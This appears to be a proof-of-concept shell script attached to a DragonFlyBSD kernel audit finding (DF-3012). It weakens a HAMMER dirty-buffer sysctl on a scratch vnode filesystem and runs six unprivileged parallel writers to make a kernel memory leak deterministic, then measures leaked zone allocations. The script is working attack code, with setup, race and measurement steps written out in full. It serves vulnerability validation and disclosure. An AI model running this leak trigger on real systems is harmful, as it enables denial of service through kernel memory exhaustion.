DragonFlyBSD Kernel Audit
DF-3012 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3012 deterministic leak validation.
#
# The checkspace gate reserves vfs.hammer.limit_dirtybufspace (default
# 49MB = half the global dirty-buffer cap) as headroom so buffered
# writes cannot overshoot the real blockmap.  That reserve is the ONLY
# thing standing between an unprivileged buffered write and a failing
# hammer_blockmap_reserve() inside hammer_ip_add_bulk().  Lowering the
# sysctl (runtime-writable) removes the headroom and makes the leak
# deterministic: every write that passes the (now much weaker) gate but
# flushes after the blockmap wraps leaks one record.
#
# The writes themselves are done by 'nobody'; root only sets up the fs,
# the sysctl, and takes measurements.
zone() { vmstat -m | awk '/HAMMER-others/ {print $2" allocs, "$3" in-use";}'; }
resvfail() { dmesg | grep -c "reservation failed"; }

cat > /tmp/writers.sh <<'EOF'
#!/bin/sh
name=$1; n=$2; skip=${3:-0}
i=0
while [ $i -lt $n ]; do
	dd if=/tmp/rand.bin of=/mnt/h1/$name-$i.bin bs=1m \
	   skip=$((skip + i*16)) count=16 2>/dev/null
	i=$((i+1))
done
EOF
chmod 755 /tmp/writers.sh

dd if=/dev/urandom of=/tmp/rand.bin bs=1m count=192 2>/dev/null

umount /mnt/h1 2>/dev/null
vnconfig -u vn0 2>/dev/null
rm -f /root/h1.img
dd if=/dev/zero of=/root/h1.img bs=1m count=512 2>/dev/null
vnconfig -c vn0 /root/h1.img
newfs_hammer -f -L TEST -u 64m /dev/vn0 >/dev/null 2>&1
mkdir -p /mnt/h1
mount -t hammer -o nohistory /dev/vn0 /mnt/h1
chmod 777 /mnt/h1
sync; sleep 1

echo "=== remove the gate headroom (root, runtime sysctl) ==="
sysctl vfs.hammer.limit_dirtybufspace=2097152
echo "=== fresh fs, baseline ==="
df -h /mnt/h1 | tail -1
zone; echo "reservation-failed-prints=$(resvfail)"

echo "=== attack: unprivileged 6-writer race past the real blockmap end ==="
su -m nobody -c '
/tmp/writers.sh s1 20 0 &
/tmp/writers.sh s2 20 8 &
/tmp/writers.sh s3 20 16 &
/tmp/writers.sh s4 20 24 &
/tmp/writers.sh s5 20 32 &
/tmp/writers.sh s6 20 40 &
wait'
sync; sleep 3; sync
df -h /mnt/h1 | tail -1
zone; echo "reservation-failed-prints=$(resvfail)"

echo "=== persistence: rm everything, sync, wait ==="
rm -f /mnt/h1/*.bin
sync; sleep 4; sync
zone; echo "reservation-failed-prints=$(resvfail)"

echo "=== restore default sysctl ==="
sysctl vfs.hammer.limit_dirtybufspace=51585024
df -h /mnt/h1 | tail -1
echo "=== done ==="